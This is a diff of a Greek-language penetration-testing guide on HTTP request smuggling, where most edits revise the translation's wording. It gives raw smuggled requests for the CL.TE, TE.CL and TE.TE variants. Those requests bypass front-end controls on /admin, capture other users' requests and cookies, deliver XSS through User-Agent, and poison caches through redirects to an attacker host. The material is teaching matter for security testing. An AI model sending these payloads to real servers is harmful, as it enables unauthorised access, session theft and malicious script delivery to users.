+* **Transfer-Encoding:** Αυτή η κεφαλίδα χρησιμοποιεί στο **σώμα** έναν **εξαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **επόμενου κομματιού**. Το **chunk** πρέπει να **τελειώνει** με μια **νέα γραμμή** αλλά αυτή η νέα γραμμή **δεν μετράται** από τον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα **chunk μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές**: `0`
 * **Connection**: Βασισμένο στην εμπειρία μου, συνιστάται να χρησιμοποιείτε **`Connection: keep-alive`** στο πρώτο request της τεχνικής Smuggling.

 ## Βασικά Παραδείγματα
@ -62,7 +62,7 @@
 Όταν προσπαθείτε να εκμεταλλευτείτε αυτό με το Burp Suite **απενεργοποιήστε το `Update Content-Length` και το `Normalize HTTP/1 line endings`** στον επαναλήπτη γιατί ορισμένα gadgets εκμεταλλεύονται τις νέες γραμμές, τις επιστροφές καροτσιού και τα κακώς διαμορφωμένα content-lengths.
 {% endhint %}

-Οι επιθέσεις HTTP request smuggling κατασκευάζονται στέλνοντας ασαφή requests που εκμεταλλεύονται τις διαφορές στον τρόπο που οι front-end και back-end servers ερμηνεύουν τις κεφαλίδες `Content-Length` (CL) και `Transfer-Encoding` (TE). Αυτές οι επιθέσεις μπορούν να εκδηλωθούν με διάφορες μορφές, κυρίως ως **CL.TE**, **TE.CL**, και **TE.TE**. Κάθε τύπος αντιπροσωπεύει έναν μοναδικό συνδυασμό του πώς οι front-end και back-end servers δίνουν προτεραιότητα σε αυτές τις κεφαλίδες. Οι ευπάθειες προκύπτουν από την επεξεργασία του ίδιου request από τους servers με διαφορετικούς τρόπους, οδηγώντας σε απροσδόκητα και δυνητικά κακόβουλα αποτελέσματα.
+Οι επιθέσεις HTTP request smuggling κατασκευάζονται στέλνοντας ασαφή requests που εκμεταλλεύονται τις διαφορές στον τρόπο που οι servers front-end και back-end ερμηνεύουν τις κεφαλίδες `Content-Length` (CL) και `Transfer-Encoding` (TE). Αυτές οι επιθέσεις μπορούν να εκδηλωθούν με διάφορες μορφές, κυρίως ως **CL.TE**, **TE.CL**, και **TE.TE**. Κάθε τύπος αντιπροσωπεύει έναν μοναδικό συνδυασμό του πώς οι servers front-end και back-end δίνουν προτεραιότητα σε αυτές τις κεφαλίδες. Οι ευπάθειες προκύπτουν από την επεξεργασία του ίδιου request από τους servers με διαφορετικούς τρόπους, οδηγώντας σε απροσδόκητα και δυνητικά κακόβουλα αποτελέσματα.

 ### Βασικά Παραδείγματα Τύπων Ευπάθειας

@ -72,14 +72,14 @@
 Στον προηγούμενο πίνακα θα πρέπει να προσθέσετε την τεχνική TE.0, όπως η τεχνική CL.0 αλλά χρησιμοποιώντας Transfer Encoding.
 {% endhint %}

-#### CL.TE Ευπάθεια (Content-Length χρησιμοποιείται από Front-End, Transfer-Encoding χρησιμοποιείται από Back-End)
+#### CL.TE Ευπάθεια (Content-Length που χρησιμοποιείται από Front-End, Transfer-Encoding που χρησιμοποιείται από Back-End)

 * **Front-End (CL):** Επεξεργάζεται το request με βάση την κεφαλίδα `Content-Length`.
 * **Back-End (TE):** Επεξεργάζεται το request με βάση την κεφαλίδα `Transfer-Encoding`.
 * **Σενάριο Επίθεσης:**
 * Ο επιτιθέμενος στέλνει ένα request όπου η τιμή της κεφαλίδας `Content-Length` δεν ταιριάζει με το πραγματικό μήκος περιεχομένου.
-* Ο front-end server προωθεί ολόκληρο το request στον back-end, με βάση την τιμή `Content-Length`.
-* Ο back-end server επεξεργάζεται το request ως chunked λόγω της κεφαλίδας `Transfer-Encoding: chunked`, ερμηνεύοντας τα υπόλοιπα δεδομένα ως ένα ξεχωριστό, επόμενο request.
+* Ο server front-end προωθεί ολόκληρο το request στον back-end, με βάση την τιμή `Content-Length`.
+* Ο server back-end επεξεργάζεται το request ως chunked λόγω της κεφαλίδας `Transfer-Encoding: chunked`, ερμηνεύοντας τα υπόλοιπα δεδομένα ως ένα ξεχωριστό, επόμενο request.
 *   **Παράδειγμα:**

 ```
@ -95,14 +95,14 @@ GET /404 HTTP/1.1
 Foo: x
 ```

-#### TE.CL Ευπάθεια (Transfer-Encoding χρησιμοποιείται από Front-End, Content-Length χρησιμοποιείται από Back-End)
+#### TE.CL Ευπάθεια (Transfer-Encoding που χρησιμοποιείται από Front-End, Content-Length που χρησιμοποιείται από Back-End)

 * **Front-End (TE):** Επεξεργάζεται το request με βάση την κεφαλίδα `Transfer-Encoding`.
 * **Back-End (CL):** Επεξεργάζεται το request με βάση την κεφαλίδα `Content-Length`.
 * **Σενάριο Επίθεσης:**
 * Ο επιτιθέμενος στέλνει ένα chunked request όπου το μέγεθος του chunk (`7b`) και το πραγματικό μήκος περιεχομένου (`Content-Length: 4`) δεν ευθυγραμμίζονται.
-* Ο front-end server, τιμώντας το `Transfer-Encoding`, προωθεί ολόκληρο το request στον back-end.
-* Ο back-end server, σεβόμενος το `Content-Length`, επεξεργάζεται μόνο το αρχικό μέρος του request (`7b` bytes), αφήνοντας το υπόλοιπο ως μέρος ενός μη προγραμματισμένου επόμενου request.
+* Ο server front-end, τιμώντας το `Transfer-Encoding`, προωθεί ολόκληρο το request στον back-end.
+* Ο server back-end, σεβόμενος το `Content-Length`, επεξεργάζεται μόνο το αρχικό μέρος του request (`7b` bytes), αφήνοντας το υπόλοιπο ως μέρος ενός μη προγραμματισμένου επόμενου request.
 *   **Παράδειγμα:**

 ```
@ -123,13 +123,13 @@ x=

 ```

-#### TE.TE Ευπάθεια (Transfer-Encoding χρησιμοποιείται και από τους δύο, με παραπλάνηση)
+#### TE.TE Ευπάθεια (Transfer-Encoding που χρησιμοποιείται και από τους δύο, με παραπλάνηση)

-* **Servers:** Και οι δύο υποστηρίζουν `Transfer-Encoding`, αλλά ένας μπορεί να παραπλανηθεί ώστε να το αγνοήσει μέσω παραπλάνησης.
+* **Servers:** Και οι δύο υποστηρίζουν το `Transfer-Encoding`, αλλά ένας μπορεί να παραπλανηθεί ώστε να το αγνοήσει μέσω παραπλάνησης.
 * **Σενάριο Επίθεσης:**
 * Ο επιτιθέμενος στέλνει ένα request με παραπλανημένες κεφαλίδες `Transfer-Encoding`.
 * Ανάλογα με το ποιος server (front-end ή back-end) αποτυγχάνει να αναγνωρίσει την παραπλάνηση, μπορεί να εκμεταλλευτεί μια ευπάθεια CL.TE ή TE.CL.
-* Το μη επεξεργασμένο μέρος του request, όπως φαίνεται από έναν από τους servers, γίνεται μέρος ενός επόμενου request, οδηγώντας σε smuggling.
+* Το μη επεξεργασμένο μέρος του request, όπως το βλέπει ένας από τους servers, γίνεται μέρος ενός επόμενου request, οδηγώντας σε smuggling.
 *   **Παράδειγμα:**

 ```
@ -149,7 +149,7 @@ Transfer-Encoding
 : chunked
 ```

-#### **CL.CL Σενάριο (Content-Length χρησιμοποιείται και από τους Front-End και Back-End)**
+#### **CL.CL Σενάριο (Content-Length που χρησιμοποιείται και από τους δύο Front-End και Back-End)**

 * Και οι δύο servers επεξεργάζονται το request αποκλειστικά με βάση την κεφαλίδα `Content-Length`.
 * Αυτό το σενάριο συνήθως δεν οδηγεί σε smuggling, καθώς υπάρχει ευθυγράμμιση στον τρόπο που και οι δύο servers ερμηνεύουν το μήκος του request.
@ -205,11 +205,11 @@ EMPTY_LINE_HERE

 Αυτή η τεχνική είναι επίσης χρήσιμη σε σενάρια όπου είναι δυνατόν να **σπάσει ένας διακομιστής ιστού ενώ διαβάζετε τα αρχικά δεδομένα HTTP** αλλά **χωρίς να κλείσετε τη σύνδεση**. Με αυτόν τον τρόπο, το **σώμα** του αιτήματος HTTP θα θεωρείται το **επόμενο αίτημα HTTP**.

-Για παράδειγμα, όπως εξηγείται σε [**αυτή τη γραφή**](https://mizu.re/post/twisty-python), στο Werkzeug ήταν δυνατό να σταλούν μερικοί **Unicode** χαρακτήρες και αυτό θα έκανε τον διακομιστή να **σπάσει**. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα **`Connection: keep-alive`**, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **σώμα** του αιτήματος θα αντιμετωπιστεί ως το **επόμενο αίτημα HTTP**.
+Για παράδειγμα, όπως εξηγείται σε [**αυτή την ανάρτηση**](https://mizu.re/post/twisty-python), στο Werkzeug ήταν δυνατό να σταλούν μερικοί **Unicode** χαρακτήρες και αυτό θα προκαλούσε **σπάσιμο** του διακομιστή. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα **`Connection: keep-alive`**, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **σώμα** του αιτήματος θα αντιμετωπιστεί ως το **επόμενο αίτημα HTTP**.

 #### Εξανα forcing μέσω κεφαλίδων hop-by-hop

-Καταχρώντας τις κεφαλίδες hop-by-hop μπορείτε να υποδείξετε στον διακομιστή μεσολάβησης να **διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding ώστε να είναι δυνατή η κατάχρηση του HTTP request smuggling**.
+Καταχρώντας τις κεφαλίδες hop-by-hop, θα μπορούσατε να υποδείξετε στον διακομιστή μεσολάβησης να **διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding ώστε να είναι δυνατή η κατάχρηση του HTTP request smuggling**.
 ```
 Connection: Content-Length
 ```
@ -278,25 +278,25 @@ X
 * **Δοκιμές Διαφορετικών Τιμών Transfer-Encoding:**
 * Στείλτε αιτήματα με παραποιημένες ή κακώς διαμορφωμένες κεφαλίδες `Transfer-Encoding` και παρακολουθήστε πώς αντιδρούν διαφορετικά οι διακομιστές front-end και back-end σε τέτοιες παραποιήσεις.

-### Δοκιμή Ευπαθειών HTTP Request Smuggling
+### Δοκιμή Ευπάθειας HTTP Request Smuggling

-Αφού επιβεβαιωθεί η αποτελεσματικότητα των τεχνικών χρονομέτρησης, είναι κρίσιμο να επαληθευτεί αν τα αιτήματα του πελάτη μπορούν να παραποιηθούν. Μια απλή μέθοδος είναι να προσπαθήσετε να δηλητηριάσετε τα αιτήματά σας, για παράδειγμα, κάνοντάς το αίτημα προς το `/` να αποδώσει μια απάντηση 404. Τα παραδείγματα `CL.TE` και `TE.CL` που συζητήθηκαν προηγουμένως στο [Basic Examples](./#basic-examples) δείχνουν πώς να δηλητηριάσετε το αίτημα ενός πελάτη για να προκαλέσετε μια απάντηση 404, παρά το γεγονός ότι ο πελάτης στοχεύει να αποκτήσει πρόσβαση σε διαφορετικό πόρο.
+Αφού επιβεβαιωθεί η αποτελεσματικότητα των τεχνικών χρονομέτρησης, είναι κρίσιμο να επαληθευτεί αν τα αιτήματα του πελάτη μπορούν να παραποιηθούν. Μια απλή μέθοδος είναι να προσπαθήσετε να δηλητηριάσετε τα αιτήματά σας, για παράδειγμα, κάνοντάς το αίτημα προς το `/` να αποδώσει μια απάντηση 404. Τα παραδείγματα `CL.TE` και `TE.CL` που συζητήθηκαν προηγουμένως στην [Βασικά Παραδείγματα](./#basic-examples) δείχνουν πώς να δηλητηριάσετε το αίτημα ενός πελάτη για να προκαλέσετε μια απάντηση 404, παρά το γεγονός ότι ο πελάτης στοχεύει να αποκτήσει πρόσβαση σε διαφορετικό πόρο.

 **Κύριες Σκέψεις**

 Κατά τη δοκιμή ευπαθειών request smuggling παρεμβαίνοντας σε άλλα αιτήματα, έχετε υπόψη:

-* **Διακριτές Δικτυακές Συνδέσεις:** Τα "επίθεση" και "κανονικά" αιτήματα θα πρέπει να αποστέλλονται μέσω ξεχωριστών δικτυακών συνδέσεων. Η χρήση της ίδιας σύνδεσης και για τα δύο δεν επιβεβαιώνει την παρουσία της ευπάθειας.
-* **Συνεπής URL και Παράμετροι:** Στοχεύστε να χρησιμοποιήσετε ταυτόσημα URLs και ονόματα παραμέτρων και για τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους διακομιστές back-end με βάση το URL και τις παραμέτρους. Η αντιστοίχιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο διακομιστή, προϋπόθεση για μια επιτυχημένη επίθεση.
-* **Χρονομέτρηση και Συνθήκες Αγώνα:** Το "κανονικό" αίτημα, που προορίζεται να ανιχνεύσει την παρέμβαση από το "επίθεση" αίτημα, ανταγωνίζεται άλλα ταυτόχρονα αιτήματα εφαρμογής. Επομένως, στείλτε το "κανονικό" αίτημα αμέσως μετά το "επίθεση" αίτημα. Οι πολυάσχολες εφαρμογές μπορεί να απαιτούν πολλές δοκιμές για την επιβεβαίωση της ευπάθειας.
-* **Προκλήσεις Φορτωτικής Ισορροπίας:** Οι διακομιστές front-end που λειτουργούν ως ισοσταθμιστές φορτίου μπορεί να διανέμουν αιτήματα σε διάφορα συστήματα back-end. Εάν τα "επίθεση" και "κανονικά" αιτήματα καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα επιτύχει. Αυτό το στοιχείο ισοσταθμιστή φορτίου μπορεί να απαιτήσει πολλές προσπάθειες για την επιβεβαίωση μιας ευπάθειας.
+* **Διακριτές Δικτυακές Συνδέσεις:** Τα "επίθετα" και "κανονικά" αιτήματα θα πρέπει να αποστέλλονται μέσω ξεχωριστών δικτυακών συνδέσεων. Η χρήση της ίδιας σύνδεσης και για τα δύο δεν επιβεβαιώνει την παρουσία της ευπάθειας.
+* **Συνεπής URL και Παράμετροι:** Στοχεύστε να χρησιμοποιήσετε ταυτόσημες διευθύνσεις URL και ονόματα παραμέτρων και για τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους διακομιστές back-end με βάση τη διεύθυνση URL και τις παραμέτρους. Η αντιστοίχιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο διακομιστή, προϋπόθεση για μια επιτυχημένη επίθεση.
+* **Χρονομέτρηση και Συνθήκες Αγώνα:** Το "κανονικό" αίτημα, που προορίζεται να ανιχνεύσει την παρέμβαση από το "επίθετο" αίτημα, ανταγωνίζεται άλλα ταυτόχρονα αιτήματα εφαρμογής. Επομένως, στείλτε το "κανονικό" αίτημα αμέσως μετά το "επίθετο" αίτημα. Οι πολυάσχολες εφαρμογές μπορεί να απαιτούν πολλές δοκιμές για την επιβεβαίωση της ευπάθειας.
+* **Προκλήσεις Φορτωτικής Ισορροπίας:** Οι διακομιστές front-end που λειτουργούν ως ισοσταθμιστές φορτίου μπορεί να διανέμουν αιτήματα σε διάφορα συστήματα back-end. Εάν τα "επίθετα" και "κανονικά" αιτήματα καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα επιτύχει. Αυτή η πτυχή της ισοσταθμιστικής φόρτωσης μπορεί να απαιτήσει πολλές προσπάθειες για την επιβεβαίωση μιας ευπάθειας.
 * **Ακούσια Επίδραση στους Χρήστες:** Εάν η επίθεσή σας επηρεάσει κατά λάθος το αίτημα άλλου χρήστη (όχι το "κανονικό" αίτημα που στείλατε για ανίχνευση), αυτό υποδεικνύει ότι η επίθεσή σας επηρέασε έναν άλλο χρήστη της εφαρμογής. Η συνεχής δοκιμή θα μπορούσε να διαταράξει άλλους χρήστες, απαιτώντας προσεκτική προσέγγιση.

 ## Κατάχρηση HTTP Request Smuggling

 ### Παράκαμψη Ασφαλείας Front-End μέσω HTTP Request Smuggling

-Μερικές φορές, οι διακομιστές front-end επιβάλλουν μέτρα ασφαλείας, εξετάζοντας τα εισερχόμενα αιτήματα. Ωστόσο, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενα το HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε περιορισμένα endpoints. Για παράδειγμα, η πρόσβαση στο `/admin` μπορεί να απαγορεύεται εξωτερικά, με τον διακομιστή front-end να μπλοκάρει ενεργά τέτοιες προσπάθειες. Παρ' όλα αυτά, αυτός ο διακομιστής μπορεί να παραλείψει να εξετάσει τα ενσωματωμένα αιτήματα μέσα σε ένα smuggled HTTP αίτημα, αφήνοντας ένα παραθυράκι για την παράκαμψη αυτών των περιορισμών.
+Μερικές φορές, οι διακομιστές front-end επιβάλλουν μέτρα ασφαλείας, εξετάζοντας τα εισερχόμενα αιτήματα. Ωστόσο, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενα το HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε περιορισμένα endpoints. Για παράδειγμα, η πρόσβαση στο `/admin` μπορεί να απαγορεύεται εξωτερικά, με τον διακομιστή front-end να μπλοκάρει ενεργά τέτοιες προσπάθειες. Ωστόσο, αυτός ο διακομιστής μπορεί να παραλείψει να εξετάσει τα ενσωματωμένα αιτήματα μέσα σε ένα λαθραίο HTTP αίτημα, αφήνοντας ένα παραθυράκι για την παράκαμψη αυτών των περιορισμών.

 Σκεφτείτε τα παρακάτω παραδείγματα που απεικονίζουν πώς το HTTP Request Smuggling μπορεί να χρησιμοποιηθεί για να παρακάμψει τους ελέγχους ασφαλείας front-end, στοχεύοντας συγκεκριμένα τη διαδρομή `/admin`, η οποία συνήθως φυλάσσεται από τον διακομιστή front-end:

@ -358,19 +358,19 @@ Content-Length: 100

 search=
 ```
-Σε αυτή τη δομή, τα επόμενα στοιχεία του αιτήματος προστίθενται μετά το `search=`, το οποίο είναι η παράμετρος που αντανακλάται στην απάντηση. Αυτή η αντανάκλαση θα εκθέσει τις κεφαλίδες του επόμενου αιτήματος.
+Σε αυτή τη δομή, τα επόμενα στοιχεία αιτήματος προστίθενται μετά το `search=`, το οποίο είναι η παράμετρος που αντανακλάται στην απάντηση. Αυτή η αντανάκλαση θα αποκαλύψει τις κεφαλίδες του επόμενου αιτήματος.

 Είναι σημαντικό να ευθυγραμμιστεί η κεφαλίδα `Content-Length` του εσωτερικού αιτήματος με το πραγματικό μήκος περιεχομένου. Είναι σκόπιμο να ξεκινήσετε με μια μικρή τιμή και να αυξάνετε σταδιακά, καθώς μια πολύ χαμηλή τιμή θα κόψει τα αντανακλώμενα δεδομένα, ενώ μια πολύ υψηλή τιμή μπορεί να προκαλέσει σφάλμα στο αίτημα.

 Αυτή η τεχνική είναι επίσης εφαρμόσιμη στο πλαίσιο μιας ευπάθειας TE.CL, αλλά το αίτημα θα πρέπει να τερματίζεται με `search=\r\n0`. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προστεθούν στην παράμετρο αναζήτησης.

-Αυτή η μέθοδος εξυπηρετεί κυρίως την κατανόηση των τροποποιήσεων του αιτήματος που γίνονται από τον μεσολαβητή front-end, εκτελώντας ουσιαστικά μια αυτοκατευθυνόμενη έρευνα.
+Αυτή η μέθοδος εξυπηρετεί κυρίως την κατανόηση των τροποποιήσεων αιτήματος που γίνονται από τον μεσολαβητή front-end, εκτελώντας ουσιαστικά μια αυτοκατευθυνόμενη έρευνα.

 ### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

 Είναι εφικτό να καταγράψετε τα αιτήματα του επόμενου χρήστη προσθέτοντας ένα συγκεκριμένο αίτημα ως την τιμή μιας παραμέτρου κατά τη διάρκεια μιας λειτουργίας POST. Να πώς μπορεί να επιτευχθεί αυτό:

-Με την προσθήκη του παρακάτω αιτήματος ως την τιμή μιας παραμέτρου, μπορείτε να αποθηκεύσετε το αίτημα του επόμενου πελάτη:
+Προσθέτοντας το ακόλουθο αίτημα ως την τιμή μιας παραμέτρου, μπορείτε να αποθηκεύσετε το αίτημα του επόμενου πελάτη:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -400,7 +400,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema

 Το HTTP Request Smuggling μπορεί να αξιοποιηθεί για να εκμεταλλευτεί ευάλωτες ιστοσελίδες σε **Reflected XSS**, προσφέροντας σημαντικά πλεονεκτήματα:

-* Η αλληλεπίδραση με τους στόχους χρήστες είναι **μη απαραίτητη**.
+* Η αλληλεπίδραση με τους στόχους χρήστες **δεν απαιτείται**.
 * Επιτρέπει την εκμετάλλευση του XSS σε μέρη του αιτήματος που είναι **κανονικά μη προσβάσιμα**, όπως οι κεφαλίδες αιτήματος HTTP.

 Σε σενάρια όπου μια ιστοσελίδα είναι ευάλωτη σε Reflected XSS μέσω της κεφαλίδας User-Agent, το παρακάτω payload δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια:
@ -444,7 +444,7 @@ A=

 ### Εκμετάλλευση Εντός Σελίδας Ανακατευθύνσεων με HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

-Οι εφαρμογές συχνά ανακατευθύνουν από μια διεύθυνση URL σε άλλη χρησιμοποιώντας το όνομα κεντρικού υπολογιστή από το `Host` header στην ανακατευθυνόμενη διεύθυνση URL. Αυτό είναι κοινό με διακομιστές ιστού όπως ο Apache και ο IIS. Για παράδειγμα, η αίτηση ενός φακέλου χωρίς τελικό slash έχει ως αποτέλεσμα μια ανακατεύθυνση για να συμπεριληφθεί το slash:
+Οι εφαρμογές συχνά ανακατευθύνουν από μια διεύθυνση URL σε μια άλλη χρησιμοποιώντας το hostname από το `Host` header στην ανακατευθυνόμενη URL. Αυτό είναι κοινό με διακομιστές ιστού όπως ο Apache και ο IIS. Για παράδειγμα, η αίτηση ενός φακέλου χωρίς τελικό slash έχει ως αποτέλεσμα μια ανακατεύθυνση για να συμπεριληφθεί το slash:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
@ -480,17 +480,17 @@ Host: vulnerable-website.com
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-Σε αυτό το σενάριο, το αίτημα ενός χρήστη για ένα αρχείο JavaScript παραβιάζεται. Ο επιτιθέμενος μπορεί δυνητικά να συμβιβάσει τον χρήστη παρέχοντας κακόβουλο JavaScript ως απάντηση.
+Σε αυτό το σενάριο, το αίτημα ενός χρήστη για ένα αρχείο JavaScript έχει υποκλαπεί. Ο επιτιθέμενος μπορεί δυνητικά να συμβιβάσει τον χρήστη παρέχοντας κακόβουλο JavaScript ως απάντηση.

-### Εκμετάλλευση της δηλητηρίασης της μνήμης cache μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Εκμετάλλευση της Δηλητηρίασης Cache Ιστοσελίδας μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Η δηλητηρίαση της μνήμης cache μπορεί να εκτελεστεί εάν οποιοδήποτε στοιχείο της **υποδομής front-end αποθηκεύει περιεχόμενο**, συνήθως για να βελτιώσει την απόδοση. Με την παραποίηση της απάντησης του διακομιστή, είναι δυνατόν να **δηλητηριαστεί η μνήμη cache**.
+Η δηλητηρίαση cache ιστοσελίδας μπορεί να εκτελεστεί εάν οποιοδήποτε στοιχείο της **υποδομής front-end αποθηκεύει περιεχόμενο**, συνήθως για να βελτιώσει την απόδοση. Με την παραποίηση της απάντησης του διακομιστή, είναι δυνατόν να **δηλητηριαστεί η cache**.

-Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του διακομιστή θα μπορούσαν να τροποποιηθούν ώστε να επιστρέφουν ένα σφάλμα 404 (ανατρέξτε σε [Βασικά Παραδείγματα](./#basic-examples)). Ομοίως, είναι εφικτό να ξεγελάσουμε τον διακομιστή ώστε να παραδώσει περιεχόμενο `/index.html` ως απάντηση σε ένα αίτημα για `/static/include.js`. Ως αποτέλεσμα, το περιεχόμενο `/static/include.js` αντικαθίσταται στη μνήμη cache με αυτό του `/index.html`, καθιστώντας το `/static/include.js` μη προσβάσιμο στους χρήστες, δυνητικά οδηγώντας σε άρνηση υπηρεσίας (DoS).
+Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του διακομιστή θα μπορούσαν να τροποποιηθούν για να επιστρέψουν ένα σφάλμα 404 (ανατρέξτε σε [Βασικά Παραδείγματα](./#basic-examples)). Ομοίως, είναι εφικτό να ξεγελάσουμε τον διακομιστή ώστε να παραδώσει περιεχόμενο `/index.html` ως απάντηση σε ένα αίτημα για `/static/include.js`. Ως αποτέλεσμα, το περιεχόμενο `/static/include.js` αντικαθίσταται στην cache με αυτό του `/index.html`, καθιστώντας το `/static/include.js` μη προσβάσιμο στους χρήστες, δυνητικά οδηγώντας σε Άρνηση Υπηρεσίας (DoS).

-Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή εάν ανακαλυφθεί μια **ευπάθεια Open Redirect** ή εάν υπάρχει **ανακατεύθυνση στον ιστό προς μια ανοιχτή ανακατεύθυνση**. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν για να αντικαταστήσουν το αποθηκευμένο περιεχόμενο του `/static/include.js` με ένα σενάριο υπό τον έλεγχο του επιτιθέμενου, επιτρέποντας ουσιαστικά μια εκτενή επίθεση Cross-Site Scripting (XSS) σε όλους τους πελάτες που ζητούν το ενημερωμένο `/static/include.js`.
+Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή εάν ανακαλυφθεί μια **ευπάθεια Open Redirect** ή εάν υπάρχει **ανακατεύθυνση στον ιστότοπο σε μια ανοιχτή ανακατεύθυνση**. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν για να αντικαταστήσουν το αποθηκευμένο περιεχόμενο του `/static/include.js` με ένα σενάριο υπό τον έλεγχο του επιτιθέμενου, επιτρέποντας ουσιαστικά μια εκτενή επίθεση Cross-Site Scripting (XSS) σε όλους τους πελάτες που ζητούν το ενημερωμένο `/static/include.js`.

-Παρακάτω είναι μια απεικόνιση της εκμετάλλευσης της **δηλητηρίασης cache σε συνδυασμό με μια ανακατεύθυνση στον ιστό προς ανοιχτή ανακατεύθυνση**. Ο στόχος είναι να τροποποιηθεί το περιεχόμενο της μνήμης cache του `/static/include.js` ώστε να εξυπηρετεί κώδικα JavaScript που ελέγχεται από τον επιτιθέμενο:
+Παρακάτω είναι μια απεικόνιση της εκμετάλλευσης της **δηλητηρίασης cache σε συνδυασμό με μια ανακατεύθυνση στον ιστότοπο σε ανοιχτή ανακατεύθυνση**. Ο στόχος είναι να τροποποιηθεί το περιεχόμενο της cache του `/static/include.js` για να εξυπηρετήσει κώδικα JavaScript που ελέγχεται από τον επιτιθέμενο:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@ -508,7 +508,7 @@ Content-Length: 10

 x=1
 ```
-Σημειώστε το ενσωματωμένο αίτημα που στοχεύει το `/post/next?postId=3`. Αυτό το αίτημα θα ανακατευθυνθεί στο `/post?postId=4`, χρησιμοποιώντας την **τιμή κεφαλίδας Host** για να προσδιορίσει το domain. Αλλάζοντας την **κεφαλίδα Host**, ο επιτιθέμενος μπορεί να ανακατευθύνει το αίτημα στο δικό του domain (**on-site redirect to open redirect**).
+Σημειώστε το ενσωματωμένο αίτημα που στοχεύει το `/post/next?postId=3`. Αυτό το αίτημα θα ανακατευθυνθεί στο `/post?postId=4`, χρησιμοποιώντας την **τιμή του κεφαλίδας Host** για να προσδιορίσει το domain. Αλλάζοντας την **κεφαλίδα Host**, ο επιτιθέμενος μπορεί να ανακατευθύνει το αίτημα στο δικό του domain (**on-site redirect to open redirect**).

 Μετά από επιτυχές **socket poisoning**, θα πρέπει να ξεκινήσει ένα **GET request** για το `/static/include.js`. Αυτό το αίτημα θα μολυνθεί από το προηγούμενο αίτημα **on-site redirect to open redirect** και θα ανακτήσει το περιεχόμενο του script που ελέγχεται από τον επιτιθέμενο.

@ -521,7 +521,7 @@ x=1
 > * Στο **web cache poisoning**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο εξυπηρετείται από την cache σε άλλους χρήστες της εφαρμογής.
 > * Στο **web cache deception**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στην cache, και ο επιτιθέμενος στη συνέχεια ανακτά αυτό το περιεχόμενο από την cache.

-Ο επιτιθέμενος δημιουργεί ένα μολυσμένο αίτημα που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένο για τον χρήστη. Σκεφτείτε το παρακάτω παράδειγμα:
+Ο επιτιθέμενος κατασκευάζει ένα μολυσμένο αίτημα που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένο για τον χρήστη. Σκεφτείτε το παρακάτω παράδειγμα:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@ -536,7 +536,7 @@ x=1

 ### Κατάχρηση του TRACE μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-[**Σε αυτή την ανάρτηση**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι αν ο διακομιστής έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι δυνατό να καταχραστεί με ένα HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα ανακλά οποιαδήποτε κεφαλίδα σταλεί στον διακομιστή ως μέρος του σώματος της απάντησης. Για παράδειγμα:
